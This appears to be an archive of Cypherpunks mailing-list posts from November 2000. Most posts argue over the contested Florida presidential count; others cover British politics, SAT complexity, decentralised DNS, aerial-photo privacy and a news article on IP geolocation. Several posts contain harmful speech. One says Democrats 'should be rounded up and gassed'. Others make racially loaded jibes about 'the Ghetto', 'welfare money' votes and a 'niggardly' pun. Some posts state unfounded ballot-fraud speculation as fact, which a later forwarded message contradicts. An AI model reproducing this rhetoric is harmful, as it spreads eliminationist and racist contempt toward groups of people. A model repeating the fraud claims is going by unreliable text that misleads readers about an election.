'gainst da homeys." > > Jesse Jackson and Al Sharpton are calling rallies to get certain > results "investigated." Marches are planned. And Jeb Bush has flown > back to Florida to supervise the recount. > > Yep, I think that whatever result is finally reported, the > recriminations and charges of election fraud will continue. > > We'll have another president addressed as "Your Fraudulency." > > Sounds good to me. > One has to admit that there is some sweet irony of radical left wingers voting for Pat Buchanan because they are too dam stupid to figure out the ballot. Social Evolution at work. LOL!!! -- --------------------------------------------------------------- William H. Geiger III http://www.openpgp.net Geiger Consulting Data Security & Cryptology Consulting Programming, Networking, Analysis PGP for OS/2: http://www.openpgp.net/pgp.html --------------------------------------------------------------- From stempleton at ea.com Wed Nov 8 08:20:21 2000 From: stempleton at ea.com (Templeton, Stuart) Date: Wed, 8 Nov 2000 11:20:21 -0500 Subject: CDR: Weather [was: RE: Well, that's over. Heads up, America!] Message-ID: i think the weather thing has more to do with the agricultural background of the country, and how this influenced the development of American Society at an early stage. Most Americans i've spoken with don't actually "MEAN IT"... perhaps there's some selfish concern about being comfortable in the weather at hand while doing some inane activity. Tennis (or whatever) in the snow? does this really seem so bizarre? -----Original Message----- X-Loop: openpgp.net From: owner-cypherpunks at Algebra.COM [mailto:owner-cypherpunks at Algebra.COM]On Behalf Of Trei, Peter Sent: Wednesday, November 08, 2000 10:29 AM To: cypherpunks Mailing List; 'Ken Brown' Subject: Weather [was: RE: Well, that's over. Heads up, America!] > Ken Brown[SMTP:k.brown at ccs.bbk.ac.uk] wrote: > > OK you folks on the downwind side of the Atlantic, now your election is > over (even if you won't know the result for 3 weeks yet), can you take > your weather back? We've had a month of egregious rain and floods over > here and I'm sure it has to be your fault somehow. 5 tornadoes in Sussex > (my home county) one of them even killed people. These things just don't > happen in England. It must be the Americans fault. Somehow. It wasn't > like this in my day... [...] > Ken Brown [...] I once heard a European pundit observe that Americans seem normal most of the time, but every now and then something surfaces to make it clear just how alien they actually are. The example he gave was the American obsession with weather. In Europe, talk about the weather is just conversational padding; noise of no serious consequence to fill an otherwise awkward silences. Americans, on the other hand, MEAN IT when they talk about the weather. They sit up and pay attention when forecasts appear. All US cable systems carry a channel which broadcasts nothing except weather reports, 24x7 - a notion which seems as bizarre to Europeans as would a channel for watching the grass grow. He surmised that this is due to the fact that in the US, unlike Europe, bad weather can kill you. [And even if it doesn't kill you, it can sure as hell play havoc with your day. I've had over 2 feet of snow overnight at my house, while 10 miles away there was just rain. Mark Twain once gave a speech about the New England weather: http://marktwain.about.com/arts/marktwain/library/speeches/bl_weather.htm It's worth a look. ] Peter Trei From pagre at alpha.oac.ucla.edu Wed Nov 8 11:21:33 2000 From: pagre at alpha.oac.ucla.edu (Phil Agre) Date: Wed, 8 Nov 2000 11:21:33 -0800 Subject: [RRE]Florida recount Message-ID: [Peter Orvetti , whose site was easily the fastest and most reliable last night, says that a locked ballot box was found in a Democratic region of Florida. Missing ballot boxes are a Florida tradition, and I enclose a piece on the 1988 Senate election that Peter Neumann wrote for SIGSOFT Software Engineering Notes. Reformatted to 70 columns.] =-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-= This message was forwarded through the Red Rock Eater News Service (RRE). You are welcome to send the message along to others but please do not use the "redirect" option. For information about RRE, including instructions for (un)subscribing, see http://dlis.gseis.ucla.edu/people/pagre/rre.html =-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-= From commerce at home.com Wed Nov 8 08:22:22 2000 From: commerce at home.com (Me) Date: Wed, 8 Nov 2000 11:22:22 -0500 Subject: CDR: Re: More blather from the DEMS on FL References: <200011081535.KAA20644@domains.invweb.net> Message-ID: <004001c0499e$46278770$0100a8c0@matthew> ----- Original Message ----- X-Loop: openpgp.net From: "William H. Geiger III" > While the recount of the FL ballots is going on the Democrats are now > complaining about the format of the ballot and threating legal action. It > seems that the ballot is "confusing". The complaint is that the double > sided ballot contained 2 columns on each side rather than one. Even better tactic: CNN just reported that the Little House in the Ghetto nursery school found an abandoned voting-box full of Al Gore ballots... er, some election worker must have forgot them there last night. Better get them into the count. From tcmay at got.net Wed Nov 8 08:25:54 2000 From: tcmay at got.net (Tim May) Date: Wed, 8 Nov 2000 11:25:54 -0500 Subject: CDR: Democrats in Florida are discovering "padlocked boxes" Message-ID: CNN is reporting that teachers arriving at a pre-school in a heavily Democrat region of Miami/Dade found a "padlocked box" in their classroom. The pre-school had been used as a polling place. They "shook the box" and it "appeared to be full." So, these votes bought with welfare money will probably go for Gore. The Dems are also claiming that some or all of Buchanan's votes should be allocated to Gore, as many people who wanted to vote for Gore are claiming, now, that they must have accidentally punched the hole to the right of Gore's name instead of the hole to the _left_ of Gore's name. I expect Al Gore will "find" the extra votes he needs. --Tim May -- ---------:---------:---------:---------:---------:---------:---------:---- Timothy C. May | Crypto Anarchy: encryption, digital money, ComSec 3DES: 831-728-0152 | anonymous networks, digital pseudonyms, zero W.A.S.T.E.: Corralitos, CA | knowledge, reputations, information markets, "Cyphernomicon" | black markets, collapse of governments. From ptrei at rsasecurity.com Wed Nov 8 08:28:25 2000 From: ptrei at rsasecurity.com (Trei, Peter) Date: Wed, 8 Nov 2000 11:28:25 -0500 Subject: CDR: A strange election scenario. Message-ID: It looks like Gore has won the popular vote, and that Florida is more likely to tip to Bush than to Gore. If this happens, the show is not necessarily over. If Bush wins Florida, and Gore wins Oregon, the electoral college will stand at Gore 267, Bush 271. You'd expect that King George the Second would rule. But.... In most states, electoral college electors are bound by law to cast their votes in favor of the candidate who won their state. But not all - in some states (which ones? I don't know) electors can legally vote their conscience. A Libertarian presidential candidate got an electoral vote a while back in this manner. If three of these 'unbound' electors are in states which went to Bush, and decide to 'follow the mandate of the national popular vote' they can flip the election. Interesting times..... Peter Trei From openpgp at openpgp.net Wed Nov 8 08:37:56 2000 From: openpgp at openpgp.net (Openpgp) Date: Wed, 8 Nov 2000 11:37:56 -0500 Subject: CDR: Re: More blather from the DEMS on FL In-Reply-To: <004001c0499e$46278770$0100a8c0@matthew> Message-ID: On Wed, 8 Nov 2000, Me wrote: > ----- Original Message ----- > X-Loop: openpgp.net > From: "William H. Geiger III" > > While the recount of the FL ballots is going on the Democrats > are now > > complaining about the format of the ballot and threating legal > action. It > > seems that the ballot is "confusing". The complaint is that the > double > > sided ballot contained 2 columns on each side rather than one. > > Even better tactic: > > CNN just reported that the Little House in the Ghetto nursery > school found an abandoned voting-box full of Al Gore ballots... > er, some election worker must have forgot them there last night. > Better get them into the count. > Anyone know what the law on this is? One would think that they would have to maintain some type of "chain of evidence" with the ballots. -- --------------------------------------------------------------- William H. Geiger III http://www.openpgp.net Geiger Consulting Data Security & Cryptology Consulting Programming, Networking, Analysis PGP for OS/2: http://www.openpgp.net/pgp.html --------------------------------------------------------------- From tcmay at got.net Wed Nov 8 09:09:03 2000 From: tcmay at got.net (Tim May) Date: Wed, 8 Nov 2000 12:09:03 -0500 Subject: CDR: Re: More blather from the DEMS on FL In-Reply-To: References: Message-ID: At 11:37 AM -0500 11/8/00, Openpgp wrote: >On Wed, 8 Nov 2000, Me wrote: > >> ----- Original Message ----- >> X-Loop: openpgp.net >> From: "William H. Geiger III" >> > While the recount of the FL ballots is going on the Democrats >> are now >> > complaining about the format of the ballot and threating legal >> action. It >> > seems that the ballot is "confusing". The complaint is that the >> double >> > sided ballot contained 2 columns on each side rather than one. >> >> Even better tactic: >> >> CNN just reported that the Little House in the Ghetto nursery >> school found an abandoned voting-box full of Al Gore ballots... >> er, some election worker must have forgot them there last night. >> Better get them into the count. >> > >Anyone know what the law on this is? One would think that they would have >to maintain some type of "chain of evidence" with the ballots. Just heard on CNN that the "found" ballot box in the black section of Miami, guarded by black cops, may be offset by a "found" box from West Palm Beach. Probable events: Other ethnic interests are scrambling to find their own extra votes. And postmasters at military bases in Europe are scrambling to postmark some special votes with the magic "November 7th" date. Whichever side wins, they will be accused of stealing the election. Hilarious. I'd laugh, except my life may depend on the outcome. (As much as I dislike Bush and most Republicans, it's the Democrats in D.C. and Sacramento who are forcing me into either surrenduring my rights or shooting it out with them. The Dems are populist fascists and should be rounded up and gassed.) --Tim May -- ---------:---------:---------:---------:---------:---------:---------:---- Timothy C. May | Crypto Anarchy: encryption, digital money, ComSec 3DES: 831-728-0152 | anonymous networks, digital pseudonyms, zero W.A.S.T.E.: Corralitos, CA | knowledge, reputations, information markets, "Cyphernomicon" | black markets, collapse of governments. From sunder at sunder.net Wed Nov 8 09:53:16 2000 From: sunder at sunder.net (sunder) Date: Wed, 08 Nov 2000 12:53:16 -0500 Subject: CDR: Re: VerySafe? References: <3A0215A7.28CB6B93@harmon.arrowhead.lib.mn.us> <3A0282AD.FC07EC87@ricardo.de> Message-ID: <3A09930C.D03F6AC@sunder.net> Tom Vogt wrote: > > Harmon Seaver wrote: > > > > Has this been discussed on the list in recent (or even ancient) > > memory? If so, I can't recall it, and looked thru my own archives going > > back a couple years and didn't find it. > > > > http://www.verysafe.com/ > > why in all hell would you want to do such a thing with a proprietary, > closed-source, outlook-only solution if you can do all of it with PGP? > > and how much difference is there between using a plugin and using PGP? > to the end-user, it's all magic anyways. Oh no, This is a wonderful idea. After all, once you get someone used to receiving executables, they'll run anything. You can then attach any trojans you want. This must have been thought up by an LEO; who else would think up such an evil way of "securing" email. -- ----------------------Kaos-Keraunos-Kybernetos--------------------------- + ^ + :Surveillance cameras|Passwords are like underwear. You don't /|\ \|/ :aren't security. A |share them, you don't hang them on your/\|/\ <--*-->:camera won't stop a |monitor, or under your keyboard, you \/|\/ /|\ :masked killer, but |don't email them, or put them on a web \|/ + v + :will violate privacy|site, and you must change them very often. --------_sunder_ at _sunder_._net_------- http://www.sunder.net ------------ From rah at shipwright.com Wed Nov 8 10:09:41 2000 From: rah at shipwright.com (R. A. Hettinga) Date: Wed, 8 Nov 2000 13:09:41 -0500 Subject: CDR: SLA suspect gives cops' names, addresses on website, gets bail Message-ID: http://www.nando.net/24hour/sacbee/nation/story/0,1733,500277454-500434545-502757475-0,00.html -- ----------------- R. A. Hettinga The Internet Bearer Underwriting Corporation 44 Farquhar Street, Boston, MA 02131 USA "... however it may deserve respect for its usefulness and antiquity, [predicting the end of the world] has not been found agreeable to experience." -- Edward Gibbon, 'Decline and Fall of the Roman Empire' From declan at well.com Wed Nov 8 10:40:57 2000 From: declan at well.com (Declan McCullagh) Date: Wed, 8 Nov 2000 13:40:57 -0500 Subject: CDR: How the Net gave the right Florida count Message-ID: <4.3.0.20001108132418.016b5cc0@mail.well.com> My article you received late last night: "Al Gore is only 630 votes away from winning the election" http://www.politechbot.com/p-01481.html Seems to have been the first article anywhere (3:35 am) to report that Bush's lead in Florida had dwindled to the hundreds, although CBS at approximately the same time had mentioned those numbers on the air. The politech article also appears to be the first to predict a recount. According to a wire service search, Dow Jones Newswire moved a similar article three minutes after the politech message (3:38 am), though it did not mention a recount: "WASHINGTON (Dow Jones)--Vice President Al Gore now trails Texas Governor George W. Bush by only 629 votes in Florida, throwing the U.S. election results into question, CBS News reported early Wednesday." AP had moved an advisory about 20 minutes before (3:11 am) saying that Bush's lead was in the thousands: "The lead in Florida for George W. Bush has dwindled to about 6,000 in the vote count." Dow Jones, in an article distributed at the same time (3:08 am), called the election even with those thousands of votes outstanding: "In an election that ultimately came down to a few thousand votes in Florida, Texas Governor George W. Bush has won the race for the presidency holding off a strong challenge from Vice President Al Gore." The networks, of course, had called the election for Bush at 2:17 am, after incorrectly saying earlier in the evening that Florida would go to Gore. Part of this mess comes from how mainstream media sources relied on Voter News Service for their results. For instance, CNN reported at 3:45 am that the Florida results were 2,890,321 (Bush) and 2,884,261 (Gore). That spread was still about 6,000 votes. For my politech article, I used the Net to go directly to the Florida secretary of state's website. The numbers there were about 20 minutes newer than CNN had at the same time. To their credit, CBS News apparently switched to those same numbers, although their hasty calculation of a 629 vote difference was incorrect. -Declan From anonymous at openpgp.net Wed Nov 8 11:05:31 2000 From: anonymous at openpgp.net (anonymous at openpgp.net) Date: Wed, 8 Nov 2000 14:05:31 -0500 Subject: CDR: govt aerial photo privacy Message-ID: Countys Aerial Photos Not for Public Sale Supervisors bow to residents concerns that the high-detail pictures would invade their privacy. By DAVID REYES, Times Staff Writer Bowing to privacy concerns, county supervisors backpedaled Tuesday by agreeing not to let the public buy the high-detail, digital photographs that will be taken during an aerial photo shoot of the entire county. County officials had considered selling the photos--a block-by-block sweep of the county--on the Internet to help defray the cost of the photo missions. "I think residents can rest assured that there wont be any pictures, any Big Brother efforts in the county," said Supervisor Tom Wilson, before all five supervisors voted to approve a $184,000 contract to Pictometry LLC, a New York-based corporation. Originally, the company won approval to fly over Orange County and take 60,000 photographs from an airplane flying at an altitude of 4,000 feet. The images would be stored in a county database and sold to cities and governmental agencies, including police and fire departments. To recoup its costs, the county was going to make photographs available for sale on the countys Web site for $15 to $25. Instead, supervisors were forced to reevaluate their decision after receiving hundreds of complaints by residents, upset that their privacy would be invaded or that the photos would tumble into the hands of criminals. As a result, supervisors modified Pictometrys contract so it would not include selling photographs to the public. The idea of having "Big Brother" peer into her backyard with a camera frightened Helen Pegausch of Santa Ana. She felt strongly enough that she missed work Tuesday to talk with supervisors. "I tell you having the county take photographs and then handing them over to cities so they can check for violations really bothers me," Pegausch said. "We are paying more and more in taxes and voting out more and more of our rights." Pastor Wiley Drake, an outspoken cleric on property rights issues, urged the supervisors to reconsider whether the county needed the project. "Is there a legitimate need for this type of photography?" Drake asked, as he sought anyone on the board with enough "intestinal fortitude" to move to postpone the proposal until his questions can be answered. What makes Pictometry different from scores of other aerial products is that, rather than being taken from directly overhead, pictures are taken at an angle that--once combined with the companys software--allows users to zoom in on neighborhoods and measure the height, width and length of any feature in an image, including gullies, buildings, trees, poles and roads. It makes the product perfect for county planners, said Brian F. Fitzpatrick, West Coast general manager for Pictometry, who was elated with the boards decision. Rather than having a developer show an artists rendering of a new shopping plaza, the digital software allows a planner to test the developers claims by immediately seeing how the site will look, he said. The product conceivably can be used by hundreds if not thousands of residents living in a coastal flood plain that extends through many cities as a result of the threat of a large flood from the Santa Ana River. "The $200,000 the county is paying can save thousands, even millions, of dollars to residents who may not have to pay for flood insurance," Supervisor Todd Spitzer said. Spitzer, an attorney who once worked in the district attorneys office, said the courts already allow police authority to fly over homes and take pictures. "This new proposal is an excellent balance." In other business, supervisors unanimously agreed on Lockheed Martin as the prime contractor for an 11-year, $260-million data-processing contract, which is believed to be the largest contract awarded by the county. The decision ends more than a year of procurement activity by the countys information and technology staff. Leo Crawford, the countys chief information officer, said a procurement team had recommended Lockheed over the other finalist, Science Applications International Corp., the largest private scientific research organization in the United States. http://www.latimes.com/editions/orange/20001108/t000106980.html From steve at tightrope.demon.co.uk Wed Nov 8 06:08:38 2000 From: steve at tightrope.demon.co.uk (Steve Mynott) Date: Wed, 8 Nov 2000 14:08:38 +0000 Subject: CDR: Re: Well, that's over. Heads up, America! In-Reply-To: <3A093637.FDF4FABC@ccs.bbk.ac.uk>; from k.brown@ccs.bbk.ac.uk on Wed, Nov 08, 2000 at 11:17:11AM +0000 References: <4.3.0.20001108034928.016a6820@mail.well.com> <3A093637.FDF4FABC@ccs.bbk.ac.uk> Message-ID: <20001108140838.B27342@tightrope.demon.co.uk> On Wed, Nov 08, 2000 at 11:17:11AM +0000, Ken Brown wrote: > were ever going to get to be a chat show host. Thatcher was (& is) > almost universally hated, even by those who voted for her. Thatcher was respected rather than liked. Britain in the 1970s was a global joke, laid ruin by decades of socialist misrule. Fixing that was unlikely to win her many friends. But she partially succeeded and changed Britain and even her opposition from extreme socialists to more moderate, but still dangerous, social democrats. The work isn't, alas, over and leftist ideas remain as givens in English society supported by the state ran schools and television stations. > Maybe that is why most of your states voted dam near 50-50 for each > candidate. Same policies on most things that count, and where they > differ nobody believes them anyway. (Is Bush really saying, as his Tory > acolytes over here in Britain are, that you can cut taxes *and* increase > pubic spending? Does anyone take that seriously enough to factor it in I think you mean "public". Actually this is possible if cutting taxes leads to more tax being collected. If tax cuts lead to increased economic activity then a smaller piece of a larger pie can be larger than the original piece. This is the famous "Laffer curve". If you take "rolling back the state" as a goal than this is an argument for cutting taxes to zero. > Certainly that is how Labour got in in UK. Everyone hated the Tories. > Labour promised - in writing - to carry on Tory policies on most things > (they even adopted the Tory budget for 2 years). So the only issue was > that Labour looked like the nice guys. Landslide. I don't think everyone hated the Tories (Conservative party). They had been in power for 18 years and I think people simply thought "give the other guys a ago". Since then Labour, although they had swung to the right, have increased indirect tax and introduced anti-crypto laws in the shape of RIP. The population is starting to wake up and Labour is looking increasingly vunerable due to popular protests on the amount of tax on fuel. Many conservatives, like John Redwood, have spoken against RIP. -- 1024/D9C69DF9 steve mynott steve at tightrope.demon.co.uk abandon the search for truth; settle for a good fantasy. From ssyreeni at cc.helsinki.fi Wed Nov 8 04:26:26 2000 From: ssyreeni at cc.helsinki.fi (Sampo A Syreeni) Date: Wed, 8 Nov 2000 14:26:26 +0200 (EET) Subject: CDR: Re: Re: Minesweeper and defeating modern encryption technology In-Reply-To: Message-ID: On Sat, 4 Nov 2000, dmolnar wrote: >The original problem for which this was shown was formula satisfiability: >"given a boolean formula, does there exist an assignment to all of its >variables which makes the formula evaluate to true?" Wasn't it that quite a number of actual instances of this particular problem fall easily to heuristics? Is this connected to the concept of "uniform hardness" that was brought up? Sampo Syreeni , aka decoy, student/math/Helsinki university From rah at shipwright.com Wed Nov 8 11:55:39 2000 From: rah at shipwright.com (R. A. Hettinga) Date: Wed, 8 Nov 2000 14:55:39 -0500 Subject: CDR: [RRE]Florida recount Message-ID: --- begin forwarded text From ssyreeni at cc.helsinki.fi Wed Nov 8 05:05:05 2000 From: ssyreeni at cc.helsinki.fi (Sampo A Syreeni) Date: Wed, 8 Nov 2000 15:05:05 +0200 (EET) Subject: CDR: Re: Minesweeper and defeating modern encryption technology In-Reply-To: Message-ID: On Sat, 4 Nov 2000, Jim Choate wrote: >As to Cooks assertion, it is possible to create logical statements which >are irresolvable, irrespective of time or algorithm. So it is clear that >there are in fact statements which can't be resolved so there must be at >least some class of NP that are not resolvable to P. You are talking about two very different problems, here. Gödel/Turing sorta things are about problems where quantifiers over an infinite set are permitted. Gödel is about verifying a given formula for all natural numbers (a countable infinity), Turing about deciding whether any given algorithm (there are a countable infinity of these) halts. An instance of SAT, on the other hand, quantifies only over a sequence of fixed length vectors of truth values (the list of all the possible combinations of truth values to be assigned to the variables of the boolean function being tested). If you think of these vectors as binary words, there are always a finite number of these. This number is exponential in the number of variables of the function. So a valid exp-time algorithm to solve SAT is to list all the possible combinations of input values to the multivariate boolean formula, feed them through it (I seem to think that around n^2 time is needed for this) and see whether one of them really satistified it. The latter strategy does not work for Turing/Gödel-kinda situations because the computation would not halt, regardless of the function chosen. It is easy to see that the logic structure of Gödel's and Turing's theorem is far deeper than that of SAT, while SAT is the only one which admits any kind of computational complexity analysis. Sampo Syreeni , aka decoy, student/math/Helsinki university From bill.stewart at pobox.com Wed Nov 8 12:13:13 2000 From: bill.stewart at pobox.com (Bill Stewart) Date: Wed, 8 Nov 2000 15:13:13 -0500 Subject: CDR: Re: Courts interfering with election In-Reply-To: References: <200011080315.WAA13709@www5.aa.psiweb.com> Message-ID: <3.0.5.32.20001108115632.00a97c50@idiom.com> At 07:46 PM 11/7/00 -0800, Tim May wrote: > >Late news: Just saw Sen. Kit Bond of Missouri calling for an >investigation into "criminal voting fraud" by the Democrat political >machine in St. Louis and the lower court judge (if he was appointed >by Democrats, the jig's up). Ashcroft faces a very, very, very close >election, and that extra blast of welfare roll voters may have been >enough to defeat him. > >Mighty niggardly of the Democrats, I'd say. Spooky, in fact. On the other hand, doing a bait&switch on closing times is also going to affect the voting response, especially for people who work late or weird shifts and were planning to vote at 9pm. Also, maybe Tim hasn't voted somewhere new in a while, but this is a polling system run by government bureaucrats, who have a level of enthusiasm and competence for providing high-quality service for inner-city residents that's _much_ different from the quality of service that they provide for rich folks. Sometimes the poll-workers can read and write, and sometimes there are enough poll-workers, and if there's a political machine around, they also know how to count, and what they're counting, and for whom, and what things are important to count accurately, like money, and what things are not important to count accurately, like poor people's votes. When things screw up in an overworked clerical environment, they screw up badly. Somebody I was talking to last night was at the polling place, and the guy in front of her was trying to straighten out the two registrations from the same address, one for John Doe, Democrat, and one for John J. Doe, Republican (no, they weren't father and son, they were the same guy....) That's an easier case for him, at least if he only wants to vote once (:-). And it's much messier when the people are tenants who move a lot. Thanks! Bill Bill Stewart, bill.stewart at pobox.com PGP Fingerprint D454 E202 CBC8 40BF 3C85 B884 0ABE 4639 From Somebody Wed Nov 8 12:25:25 2000 From: Somebody (Somebody) Date: Wed, 8 Nov 2000 15:25:25 -0500 (EST) Subject: FL ballot box missing/found Message-ID: Dear Sir: FL polling stations -- at least in my county -- have two boxes with locks. When voting is over, up to a dozen voluntary poll workers lock the used and unused ballots in a small box. They lock it up and two of them must drive the box to a central collection office. Other polling station equipment is left at the polling site -- the vote machines, office supplies, and such are left in the polling place -- be it a school room, the American Legion Hall, or a church site. The office supplies are to be put in a large locked box -- left at the polling place for subsequent pickup by reps of the County Supervisor of Elections. Finding a large, locked box in the polling place is quite natural. It contains no ballots -- only pens, staple machines, posters and such. --- end forwarded text -- ----------------- R. A. Hettinga The Internet Bearer Underwriting Corporation 44 Farquhar Street, Boston, MA 02131 USA "... however it may deserve respect for its usefulness and antiquity, [predicting the end of the world] has not been found agreeable to experience." -- Edward Gibbon, 'Decline and Fall of the Roman Empire' From ssyreeni at cc.helsinki.fi Wed Nov 8 05:39:23 2000 From: ssyreeni at cc.helsinki.fi (Sampo A Syreeni) Date: Wed, 8 Nov 2000 15:39:23 +0200 (EET) Subject: CDR: Re: Applying California law to ICANN In-Reply-To: <200011052241.QAA82912@chao.insync.net> Message-ID: On Sun, 5 Nov 2000, Eric Cordian wrote: >DNS and the root servers are a single point of failure in the global >Internet, and one that is easily pressured to delete pointers to speech >that is deemed politically incorrect. Given the current impetus behind file sharing, I sort of think someone will come up with a way of managing completely decentralized directories well enough before long. I certainly have been tinkering with the idea. After that, all that is needed is a rewrite of DNS on top of such a service. Not nice, but useful. What is the current state of the art in high availability transparently distributed databases? Sampo Syreeni , aka decoy, student/math/Helsinki university From jbwnyc at lycos.com Wed Nov 8 12:44:48 2000 From: jbwnyc at lycos.com (James B Windle) Date: Wed, 8 Nov 2000 15:44:48 -0500 Subject: CDR: Re: A strange election scenario. Message-ID: -- On Wed, 8 Nov 2000 11:28:25 Trei, Peter wrote: >In most states, electoral college >electors are bound by law to cast their >votes in favor of the candidate who won >their state. But not all - in some states >(which ones? I don't know) electors can >legally vote their conscience. A Libertarian >presidential candidate got an electoral vote >a while back in this manner. > The electoral college vote you are thinking of was in the 1976 election, a Republican elector from Virginia cast his vote in the electoral college for McBride who was the Libertarian candidate that election. The elector was not a very popular guy with the Republican party but he broke no law. Jim Windle > > > > Get FREE Email/Voicemail with 15MB at Lycos Communications at http://comm.lycos.com From anonymous at openpgp.net Wed Nov 8 12:50:23 2000 From: anonymous at openpgp.net (anonymous at openpgp.net) Date: Wed, 8 Nov 2000 15:50:23 -0500 Subject: CDR: deep messages from voteauction.de Message-ID: <152a849b872589fa3eb5706b96dd6255@mixmaster.ceti.pl> Whether or not one likes it, the net is NOT a commercial playground a priori. It is an open space for ANY communication needs between any people. If you think it is hard to know for sure if our site was a game or a business, well, then thats a good lesson you have learned. From rah at shipwright.com Wed Nov 8 13:09:56 2000 From: rah at shipwright.com (R. A. Hettinga) Date: Wed, 8 Nov 2000 16:09:56 -0500 Subject: CDR: FL ballot box missing/found Message-ID: --- begin forwarded text From anonymous at openpgp.net Wed Nov 8 13:10:38 2000 From: anonymous at openpgp.net (anonymous at openpgp.net) Date: Wed, 8 Nov 2000 16:10:38 -0500 Subject: CDR: cnet article on geo location via IP Message-ID: <0ba667e393096b572f5a613376bc7a1f@mixmaster.ceti.pl> Geographic tracking raises opportunities, fears By Stefanie Olsen Staff Writer, CNET News.com November 8, 2000, 4:00 a.m. PT New technology that can pinpoint the physical location of Web surfers is creating opportunities for online merchants and advertisers but could signal new restrictions on the free-wheeling Internet. So-called geotracking techniques that trace Internet Protocol (IP) addresses, which are used to route signals over the Web to an individuals computer, can help Web sites and advertisers target audiences in different geographic regions. For example, a traditional retailer such as Banana Republic could hawk swimming suits to Web visitors from Los Angeles as it pushes parkas to online shoppers from New York. But if this technology offers greater efficiencies and new opportunities for online businesses, bringing physical boundaries into the largely borderless world of cyberspace raises several delicate questions. Net users worried about online privacy may balk at technology that might one day reveal their street addresses to marketers. But for governments watching their sovereignty erode online, the chance to erect virtual walls may be too tempting to pass up. "If it does become technically feasible to limit access by country, than it does seem to take away from the global reach of the Internet," said Andrew Shen, a policy analyst at the Electronic Privacy Information Center, a privacy research group. Quova, a San Francisco-based Web marketing company, has developed technology to blur these lines. The company set out in January to scan the Nets 4.2 billion IP addresses. The data-gathering project netted Quova a detailed physical map of the Internet. It is using the information to launch a new service later this year, dubbed GeoPoint, which the company says will target advertising to online audiences based on location. "In the offline world, geography is so pervasive depending on what area youre in, it determines what products youll sell. Yet in the online world theres no element of geography," said Rajat Bhargava, founder of Quova, which is backed by Softbank and IDG Ventures. With GeoPoint, Quova joins a growing number of Net advertisers that hope to tempt marketers with the promise of pinpointing customers who live or work within a particular country, state, city and even ZIP code. Privacy advocates are looking at the ability of companies such as Quova to trace a Net user to a physical location. Beyond privacy, however, geotracking raises significant regulatory questions for online commerce, taxation, legal jurisdiction, online broadcasting rights and a host of other policy issues that have traditionally depended on borders. Geotracking technologies have largely flown below the radar of regulators, but they are beginning to draw notice. For example, a technology panel next week is expected to issue a report to a French court saying techniques are available for stopping a large percentage of Net users in France from using a Yahoo auction site in the United States. Yahoo has argued that blocking French customers from viewing Nazi paraphernalia banned in that country was not feasible on the Web. "Yahoo is basically saying they cant block French visitors from their site. But as Quova (and others) show, the majority of the time, you can block information coming from geographical areas," said Richard Smith, chief technology officer at the Privacy Foundation. "Geographic blocking is sort of inevitable...for such instances as blocking online casinos and political messages in China. How prevalent it will be is the question." Geotracking takes off Started late last year, Quova operated for the first nine months of this year as a "stealth-mode, Internet infrastructure company," a tagline that raised hairs among security types. In mid-September, the company launched a beta version of its software. The technology lets companies know where Web visitors originate, down to their city, so that they can target advertising, customize Web pages, and deliver digital media to certain geographic locations. A slew of businesses have emerged to offer similar services. Digital Island and Digital Envoy specialize in location targeting DoubleClick, Engage and 24/7 Media offer targeted local advertising to its customers. Last month, Microsoft licensed technology, dubbed TraceWare, from Digital Island to manage the distribution of digital content nationally and internationally. "What we do is make things easier on the Internet," said Sanjay Parekh, chief executive of Digital Envoy, based in Duluth, Ga. "Our technology is a dumbed-down version of caller ID--I know where you are, but I cant call you back...Technically it would be difficult to tie a persons IP address to their home address, and thats not something were going after." Akamai Technologies has had a rudimentary geolocation service in operation since this summer, guaranteeing an accuracy rate of about 98 percent in determining the country or U.S. state where a given Web surfer is located. The company declined to comment directly on Frances order to Yahoo, one of Akamais longstanding customers. But vice president of product management John Shumway said the companys service could help a content provider block surfers in a specific country from reaching a particular Web service. Akamai is moving ahead with a plan to ratchet up that location service another notch. It is working with some of its Internet service provider partners and using its own sprawling network of servers to develop the ability to narrow a surfers location to the level of metropolitan area, for example. The company is aware that it risks skirting the boundaries of privacy protections but says it is confident that it is still well on the side of protecting individuals information. Allowing advertisers or Web companies to streamline their sites for local content could help consumers as well as the companies themselves, as long as the information exchange stays on a fairly unspecific level, Shumway said. "Its a very difficult issue with geolocation, figuring out what is proper and what in the long run might represent some threat to privacy," he said. "But targeting (on a city level) isnt necessarily a bad thing, any more than its a bad thing to pick up a newspaper and see a local ad." Can it work? Such questions point to another big piece of the puzzle for locator companies, which face an uphill climb in creating the sales forces needed to sell local advertising online. Because there are countless businesses on the local level, the sales staff needed to reach them all would outweigh any benefits reaped from targeted advertising. Local ad spending online is expected to reach $2.7 billion by 2003, taking up $1 in every $4 spent, according to Jupiter Media Metrix, but it wont go up significantly after that. "Its going to be a hard sell--its difficult to sell to local advertisers online because they dont get it. And its hard to sell to national advertisers because theres so much waste," said Marissa Gluck, advertising analyst for Jupiter Media Metrix, a New York-based research company. Beyond the commercial promise of selling local ads globally, geotracking could provide regulators with a tempting solution to the Nets borderless architecture. "Regulators are going to try to (implement) this," said William Cheswick, a former researcher with Bell Labs who has worked extensively on Internet mapping projects. "They have an enormous motivation to do it." Companies such as Akamai and Quova can help create barriers on the Web for companies doing business internationally or nationally. Insurance and financial services companies, for example, face different laws and regulations by state and country. The Internet compounds these problems by opening access to anyone with a computer despite their homeland. "This technology will help them comply with some of these regulations. But it will be up to the courts to decide what level of accuracy they need," Quovas Bhargava said. Some already are putting that theory to the test. Conflict abroad One of the most prominent cases of geographic tangles was this years crash and burn of iCraveTV.com, a Canadian company that had hoped to offer a streaming version of broadcast TV on its Web site. The problem was, iCraveTV didnt ask permission from the TV companies whose content it was using. Its Web site ostensibly barred Americans from watching the streams, which included several U.S. TV stations. But the only real barrier was a page asking for a Canadian area code, which served as a password to the entire site. Partly because broadcasters license content and sell advertising on a regional basis, this infuriated media companies on both sides of the border. A broad coalition of media companies sued iCraveTV, which backed down. Since that time, the company has been working on a way to determine a viewers location and block U.S. residents from watching Canadian programming. Whether geotracking can meet the needs of regulators, however, depends on several factors, including winning international cooperation on assigning IP addresses in a systematic fashion. In addition, serious questions remain about how accurate geotracking is and if it can meet the demands of regulators and the courts. Technically, Quova gathers infrastructure-level information from several public-domain sources without looking at such electronic data as email addresses and cookies, or digital tracking tags. "Basically weve collected traceroute and pings to tell us how traffic is moving, where traffic is coming from, where its going to, what its performance is," Bhargava said. By analyzing the data, the company knows the city location of all IP addresses, or a designated market area, based on 